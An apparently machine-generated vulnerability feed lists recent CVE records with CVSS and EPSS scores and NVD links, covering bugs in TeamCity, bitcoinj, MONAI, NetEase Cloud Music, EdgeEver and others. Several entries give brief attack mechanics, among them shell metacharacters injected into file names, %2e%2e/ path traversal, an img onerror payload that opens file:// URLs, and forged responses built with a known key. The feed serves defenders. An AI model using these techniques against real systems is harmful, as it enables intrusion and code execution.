EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109398&date=2026-10-25).
Sources:
NVD CVE-2026-109398: https://nvd.nist.gov/vuln/detail/CVE-2026-109398
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109398&date=2026-10-25
Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom* functions without pixel limits. Remote attackers can upload small, highly compressed images that decode to large bitmaps, exhausting PHP memory and terminating the worker process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in bitcoinj up to 0.17. Affected is the function url.openConnection of the file PaymentSession.java of the component Payment Request Handler.
https://kevwire.com/record/CVE-2026-111210
A vulnerability was determined in bitcoinj up to 0.17. Affected is the function url.openConnection of the file PaymentSession.java of the component Payment Request Handler. (Oct 16, 2026).
A vulnerability was determined in bitcoinj up to 0.17. Affected is the function url.openConnection of the file PaymentSession.java of the component Payment Request Handler. Executing a manipulation of the argument pki_type can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111210).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111210&date=2026-10-25).
Sources:
NVD CVE-2026-111210: https://nvd.nist.gov/vuln/detail/CVE-2026-111210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111210&date=2026-10-25
A vulnerability was determined in bitcoinj up to 0.17. Affected is the function url.openConnection of the file PaymentSession.java of the component Payment Request Handler. Executing a manipulation of the argument pki_type can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In JetBrains TeamCity before 2026.2, 
2026.1.4, 
2025.11.8 stored XSS in the classic project overview was possible
https://kevwire.com/record/CVE-2026-111095
In JetBrains TeamCity before 2026.2, 
2026.1.4, 
2025.11.8 stored XSS in the classic project overview was possible (Oct 15, 2026).
In JetBrains TeamCity before 2026.2, 
2026.1.4, 
2025.11.8 stored XSS in the classic project overview was possible
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111095).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111095&date=2026-10-25).
Sources:
NVD CVE-2026-111095: https://nvd.nist.gov/vuln/detail/CVE-2026-111095
Vendor advisory (via NVD references): https://www.jetbrains.com/privacy-security/issues-fixed/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111095&date=2026-10-25
In JetBrains TeamCity before 2026.2, 
2026.1.4, 
2025.11.8 stored XSS in the classic project overview was possible

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In JetBrains TeamCity before 2026.2, 
2026.1.4, 
2025.11.8 remote code execution via a whitelist bypass in the build messages protocol was possible
https://kevwire.com/record/CVE-2026-111094
In JetBrains TeamCity before 2026.2, 
2026.1.4, 
2025.11.8 remote code execution via a whitelist bypass in the build messages protocol was possible (Oct 15, 2026).
In JetBrains TeamCity before 2026.2, 
2026.1.4, 
2025.11.8 remote code execution via a whitelist bypass in the build messages protocol was possible
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111094).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111094&date=2026-10-25).
Sources:
NVD CVE-2026-111094: https://nvd.nist.gov/vuln/detail/CVE-2026-111094
Vendor advisory (via NVD references): https://www.jetbrains.com/privacy-security/issues-fixed/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111094&date=2026-10-25
In JetBrains TeamCity before 2026.2, 
2026.1.4, 
2025.11.8 remote code execution via a whitelist bypass in the build messages protocol was possible

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DevIL through 1.8.0 contains a heap-based buffer overflow in iGetPalette() in il_gif.cpp that allows attackers to write beyond a 768-byte palette buffer when loading GIF images.
https://kevwire.com/record/CVE-2017-20286
DevIL through 1.8.0 contains a heap-based buffer overflow in iGetPalette() in il_gif.cpp that allows attackers to write beyond a 768-byte palette buffer when loading GIF images. (Oct 14, 2026).
DevIL through 1.8.0 contains a heap-based buffer overflow in iGetPalette() in il_gif.cpp that allows attackers to write beyond a 768-byte palette buffer when loading GIF images. Attackers can supply a crafted two-frame GIF whose second frame uses disposal method 1 with a local colour table, writing up to 384 controlled bytes past the heap allocation and possibly executing code.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2017-20286).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-20286&date=2026-10-25).
Sources:
NVD CVE-2017-20286: https://nvd.nist.gov/vuln/detail/CVE-2017-20286
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-20286&date=2026-10-25
DevIL through 1.8.0 contains a heap-based buffer overflow in iGetPalette() in il_gif.cpp that allows attackers to write beyond a 768-byte palette buffer when loading GIF images. Attackers can supply a crafted two-frame GIF whose second frame uses disposal method 1 with a local colour table, writing up to 384 controlled bytes past the heap allocation and possibly executing code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### easy-pdf-merge 0.1.0 through 0.2.6 contains an OS command injection vulnerability that allows attackers to execute commands by injecting shell metacharacters into source paths,...
https://kevwire.com/record/CVE-2020-37279
easy-pdf-merge 0.1.0 through 0.2.6 contains an OS command injection vulnerability that allows attackers to execute commands by injecting shell metacharacters into source paths,... (Oct 12, 2026).
easy-pdf-merge 0.1.0 through 0.2.6 contains an OS command injection vulnerability that allows attackers to execute commands by injecting shell metacharacters into source paths, destination path, or maxHeap option. Attackers can supply file names or options containing double quotes, semicolons, $() or backticks, which child_process.exec() runs through a shell with the Node.js process privileges.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2020-37279).
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-37279&date=2026-10-25).
Sources:
NVD CVE-2020-37279: https://nvd.nist.gov/vuln/detail/CVE-2020-37279
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-37279&date=2026-10-25
easy-pdf-merge 0.1.0 through 0.2.6 contains an OS command injection vulnerability that allows attackers to execute commands by injecting shell metacharacters into source paths, destination path, or maxHeap option. Attackers can supply file names or options containing double quotes, semicolons, $() or backticks, which child_process.exec() runs through a shell with the Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### cbor-sync through 1.0.4 contains a resource exhaustion vulnerability in CBOR.decode that trusts declared array and map lengths without checking remaining input.
https://kevwire.com/record/CVE-2020-37280
cbor-sync through 1.0.4 contains a resource exhaustion vulnerability in CBOR.decode that trusts declared array and map lengths without checking remaining input. (Oct 12, 2026).
cbor-sync through 1.0.4 contains a resource exhaustion vulnerability in CBOR.decode that trusts declared array and map lengths without checking remaining input. Remote attackers can supply a tiny crafted CBOR payload declaring huge lengths to drive billions of iterations, exhausting CPU and process memory.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2020-37280).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-37280&date=2026-10-25).
Sources:
NVD CVE-2020-37280: https://nvd.nist.gov/vuln/detail/CVE-2020-37280
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-37280&date=2026-10-25
cbor-sync through 1.0.4 contains a resource exhaustion vulnerability in CBOR.decode that trusts declared array and map lengths without checking remaining input. Remote attackers can supply a tiny crafted CBOR payload declaring huge lengths to drive billions of iterations, exhausting CPU and process memory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Servor 1.0.0 through 4.0.2 contains a path traversal vulnerability that allows unauthenticated remote attackers to escape the served root by sending URL-encoded dot segments.
https://kevwire.com/record/CVE-2021-48011
Servor 1.0.0 through 4.0.2 contains a path traversal vulnerability that allows unauthenticated remote attackers to escape the served root by sending URL-encoded dot segments. (Oct 12, 2026).
Servor 1.0.0 through 4.0.2 contains a path traversal vulnerability that allows unauthenticated remote attackers to escape the served root by sending URL-encoded dot segments. Attackers can send %2e%2e/ sequences, which decodeURI() decodes before path.join() in serveStaticFile and serveDirectoryListing, to read arbitrary files and list directories outside the root.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48011).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48011&date=2026-10-25).
Sources:
NVD CVE-2021-48011: https://nvd.nist.gov/vuln/detail/CVE-2021-48011
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48011&date=2026-10-25
Servor 1.0.0 through 4.0.2 contains a path traversal vulnerability that allows unauthenticated remote attackers to escape the served root by sending URL-encoded dot segments. Attackers can send %2e%2e/ sequences, which decodeURI() decodes before path.join() in serveStaticFile and serveDirectoryListing, to read arbitrary files and list directories outside the root.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crawl4AI 0.7.0 before 0.9.4 contains a server-side request forgery vulnerability that allows API clients to reach internal addresses by enabling link_preview_config on /crawl...
https://kevwire.com/record/CVE-2026-109238
Crawl4AI 0.7.0 before 0.9.4 contains a server-side request forgery vulnerability that allows API clients to reach internal addresses by enabling link_preview_config on /crawl... (Oct 12, 2026).
Crawl4AI 0.7.0 before 0.9.4 contains a server-side request forgery vulnerability that allows API clients to reach internal addresses by enabling link_preview_config on /crawl requests. Attackers can supply a controlled page with include_external and include_patterns set, causing AsyncUrlSeeder to fetch internal, private, and cloud-metadata links and return their parsed head data.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109238).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109238&date=2026-10-25).
Sources:
NVD CVE-2026-109238: https://nvd.nist.gov/vuln/detail/CVE-2026-109238
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109238&date=2026-10-25
Crawl4AI 0.7.0 before 0.9.4 contains a server-side request forgery vulnerability that allows API clients to reach internal addresses by enabling link_preview_config on /crawl requests. Attackers can supply a controlled page with include_external and include_patterns set, causing AsyncUrlSeeder to fetch internal, private, and cloud-metadata links and return their parsed head data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MONAI 0.4.0 before 1.6.1 contains a remote code execution vulnerability that allows on-path attackers to execute code by tampering with SENet pretrained weights fetched over...
https://kevwire.com/record/CVE-2026-109360
MONAI 0.4.0 before 1.6.1 contains a remote code execution vulnerability that allows on-path attackers to execute code by tampering with SENet pretrained weights fetched over... (Oct 12, 2026).
MONAI 0.4.0 before 1.6.1 contains a remote code execution vulnerability that allows on-path attackers to execute code by tampering with SENet pretrained weights fetched over plaintext HTTP. Attackers can substitute a crafted .pth file that load_state_dict_from_url unpickles without weights_only=True, executing code when SEResNet50 or other SENet models are constructed with pretrained=True.
CVSS 7.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109360).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109360&date=2026-10-25).
Sources:
NVD CVE-2026-109360: https://nvd.nist.gov/vuln/detail/CVE-2026-109360
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109360&date=2026-10-25
MONAI 0.4.0 before 1.6.1 contains a remote code execution vulnerability that allows on-path attackers to execute code by tampering with SENet pretrained weights fetched over plaintext HTTP. Attackers can substitute a crafted .pth file that load_state_dict_from_url unpickles without weights_only=True, executing code when SEResNet50 or other SENet models are constructed with pretrained=True.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MONAI 1.2.0 before 1.6.1 contains an insecure deserialization vulnerability in nnUNetV2Runner that unpickles the postprocessing_file path read from inference_information.json...
https://kevwire.com/record/CVE-2026-109361
MONAI 1.2.0 before 1.6.1 contains an insecure deserialization vulnerability in nnUNetV2Runner that unpickles the postprocessing_file path read from inference_information.json... (Oct 12, 2026).
MONAI 1.2.0 before 1.6.1 contains an insecure deserialization vulnerability in nnUNetV2Runner that unpickles the postprocessing_file path read from inference_information.json without confining it to the results directory. Attackers who can modify inference_information.json can point it at a malicious pickle elsewhere on the filesystem to execute code when predict_ensemble_postprocessing runs.
CVSS 7.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109361).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109361&date=2026-10-25).
Sources:
NVD CVE-2026-109361: https://nvd.nist.gov/vuln/detail/CVE-2026-109361
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109361&date=2026-10-25
MONAI 1.2.0 before 1.6.1 contains an insecure deserialization vulnerability in nnUNetV2Runner that unpickles the postprocessing_file path read from inference_information.json without confining it to the results directory. Attackers who can modify inference_information.json can point it at a malicious pickle elsewhere on the filesystem to execute code when predict_ensemble_postprocessing runs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### modern-tar 0.3.5 through 0.8.5 contains a memory exhaustion vulnerability that allows attackers to produce negative entry sizes via non-octal bytes parsed by readOctal().
https://kevwire.com/record/CVE-2026-109380
modern-tar 0.3.5 through 0.8.5 contains a memory exhaustion vulnerability that allows attackers to produce negative entry sizes via non-octal bytes parsed by readOctal(). (Oct 12, 2026).
modern-tar 0.3.5 through 0.8.5 contains a memory exhaustion vulnerability that allows attackers to produce negative entry sizes via non-octal bytes parsed by readOctal(). Attackers can supply a crafted, optionally gzip-compressed, archive to unpackTar() that buffers chunks indefinitely, exhausting process memory and suppressing later entries.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109380).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109380&date=2026-10-25).
Sources:
NVD CVE-2026-109380: https://nvd.nist.gov/vuln/detail/CVE-2026-109380
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109380&date=2026-10-25
modern-tar 0.3.5 through 0.8.5 contains a memory exhaustion vulnerability that allows attackers to produce negative entry sizes via non-octal bytes parsed by readOctal(). Attackers can supply a crafted, optionally gzip-compressed, archive to unpackTar() that buffers chunks indefinitely, exhausting process memory and suppressing later entries.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a remote code execution vulnerability in the renderer-process IPC bridge...
https://kevwire.com/record/CVE-2026-109422
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a remote code execution vulnerability in the renderer-process IPC bridge... (Oct 12, 2026).
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a remote code execution vulnerability in the renderer-process IPC bridge os.navigateExternal, which passes caller-supplied URLs to ShellExecuteW without validating the URL scheme. An attacker able to inject content into the renderer, such as by forging the /pc/upgrade/get API response using a publicly known AES key over an unvalidated TLS connection, can invoke os.navigateExternal with a file:// URL through an img onerror payload to execute arbitrary local binaries under the logged-in user's account.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109422).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109422&date=2026-10-25).
Sources:
NVD CVE-2026-109422: https://nvd.nist.gov/vuln/detail/CVE-2026-109422
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109422&date=2026-10-25
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a remote code execution vulnerability in the renderer-process IPC bridge os.navigateExternal, which passes caller-supplied URLs to ShellExecuteW without validating the URL scheme. An attacker able to inject content into the renderer, such as by forging the /pc/upgrade/get API response using a publicly known AES key over an unvalidated TLS connection, can invoke os.navigateExternal with a file:// URL through an img onerror payload to execute arbitrary local binaries under the logged-in user's account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a weak encryption vulnerability where /eapi/ and /xeapi/ API response bodies are...
https://kevwire.com/record/CVE-2026-109424
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a weak encryption vulnerability where /eapi/ and /xeapi/ API response bodies are... (Oct 12, 2026).
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a weak encryption vulnerability where /eapi/ and /xeapi/ API response bodies are decrypted using a fixed, publicly documented AES-128-ECB key with no integrity credential. Attackers who can intercept or originate server responses can construct valid ciphertext under the known key with PKCS#7 padding, enabling the client to accept forged API responses that serve as a prerequisite for further exploitation such as reaching the os.navigateExternal bridge.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109424).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109424&date=2026-10-25).
Sources:
NVD CVE-2026-109424: https://nvd.nist.gov/vuln/detail/CVE-2026-109424
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109424&date=2026-10-25
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a weak encryption vulnerability where /eapi/ and /xeapi/ API response bodies are decrypted using a fixed, publicly documented AES-128-ECB key with no integrity credential. Attackers who can intercept or originate server responses can construct valid ciphertext under the known key with PKCS#7 padding, enabling the client to accept forged API responses that serve as a prerequisite for further exploitation such as reaching the os.navigateExternal bridge.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Telegram-Stremio through 5.1.0 contains an insecure storage vulnerability that allows attackers with access to the MongoDB database, backups, or logs to recover the operator's...
https://kevwire.com/record/CVE-2026-109426
Telegram-Stremio through 5.1.0 contains an insecure storage vulnerability that allows attackers with access to the MongoDB database, backups, or logs to recover the operator's... (Oct 12, 2026).
Telegram-Stremio through 5.1.0 contains an insecure storage vulnerability that allows attackers with access to the MongoDB database, backups, or logs to recover the operator's authenticated Telegram session string, which is protected only by a keyless, reversible encoding transform rather than actual encryption. Attackers can round-trip the stored value through the repository's own decode_string function with no secret key to obtain a fully authenticated Telegram session, granting complete control of the operator's Telegram account even when two-step verification is enabled.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109426).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109426&date=2026-10-25).
Sources:
NVD CVE-2026-109426: https://nvd.nist.gov/vuln/detail/CVE-2026-109426
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109426&date=2026-10-25
Telegram-Stremio through 5.1.0 contains an insecure storage vulnerability that allows attackers with access to the MongoDB database, backups, or logs to recover the operator's authenticated Telegram session string, which is protected only by a keyless, reversible encoding transform rather than actual encryption. Attackers can round-trip the stored value through the repository's own decode_string function with no secret key to obtain a fully authenticated Telegram session, granting complete control of the operator's Telegram account even when two-step verification is enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Telegram-Stremio through 5.1.0 contains a broken object-level authorization vulnerability that allows authenticated token holders to access arbitrary chat messages by forging...
https://kevwire.com/record/CVE-2026-109427
Telegram-Stremio through 5.1.0 contains a broken object-level authorization vulnerability that allows authenticated token holders to access arbitrary chat messages by forging... (Oct 12, 2026).
Telegram-Stremio through 5.1.0 contains a broken object-level authorization vulnerability that allows authenticated token holders to access arbitrary chat messages by forging unsigned, unauthenticated stream IDs decoded via encode_string/decode_string functions. Attackers can craft or enumerate sequential msg_id values and set a global flag in the stream_handler endpoint to route requests through the operator's personal Userbot account, exposing private channels, groups, and Saved Messages, while the unauthenticated thumb_handler endpoint further discloses thumbnails from those same chats without any token validation.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109427).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109427&date=2026-10-25).
Sources:
NVD CVE-2026-109427: https://nvd.nist.gov/vuln/detail/CVE-2026-109427
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109427&date=2026-10-25
Telegram-Stremio through 5.1.0 contains a broken object-level authorization vulnerability that allows authenticated token holders to access arbitrary chat messages by forging unsigned, unauthenticated stream IDs decoded via encode_string/decode_string functions. Attackers can craft or enumerate sequential msg_id values and set a global flag in the stream_handler endpoint to route requests through the operator's personal Userbot account, exposing private channels, groups, and Saved Messages, while the unauthenticated thumb_handler endpoint further discloses thumbnails from those same chats without any token validation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EdgeEver Desktop 1.92.0 through 1.112.0 contains a remote code execution vulnerability in the desktop:acp-probe IPC handler, which lacks a sender check and spawns a...
https://kevwire.com/record/CVE-2026-109556
EdgeEver Desktop 1.92.0 through 1.112.0 contains a remote code execution vulnerability in the desktop:acp-probe IPC handler, which lacks a sender check and spawns a... (Oct 12, 2026).
EdgeEver Desktop 1.92.0 through 1.112.0 contains a remote code execution vulnerability in the desktop:acp-probe IPC handler, which lacks a sender check and spawns a caller-supplied input.path executable. Attackers with script execution in a renderer, such as via template-preview or drag-preview stored cross-site scripting, can call probeAcpAdapter to launch local executables with the user's privileges.
CVSS 7.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109556).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109556&date=2026-10-25).
Sources:
NVD CVE-2026-109556: https://nvd.nist.gov/vuln/detail/CVE-2026-109556
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109556&date=2026-10-25
EdgeEver Desktop 1.92.0 through 1.112.0 contains a remote code execution vulnerability in the desktop:acp-probe IPC handler, which lacks a sender check and spawns a caller-supplied input.path executable. Attackers with script execution in a renderer, such as via template-preview or drag-preview stored cross-site scripting, can call probeAcpAdapter to launch local executables with the user's privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EdgeEver 1.6.0 through 1.112.0 contains a stored cross-site scripting vulnerability in TemplatesPane.tsx that renders template contentMarkdown with raw HTML via...
https://kevwire.com/record/CVE-2026-109558
EdgeEver 1.6.0 through 1.112.0 contains a stored cross-site scripting vulnerability in TemplatesPane.tsx that renders template contentMarkdown with raw HTML via... (Oct 12, 2026).
EdgeEver 1.6.0 through 1.112.0 contains a stored cross-site scripting vulnerability in TemplatesPane.tsx that renders template contentMarkdown with raw HTML via dangerouslySetInnerHTML without sanitization. Attackers can write templates containing HTML event handlers through an API or MCP token to run script on preview and access the privileged window.edgeeverDesktop bridge.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109558).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109558&date=2026-10-25).
Sources:
NVD CVE-2026-109558: https://nvd.nist.gov/vuln/detail/CVE-2026-109558
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
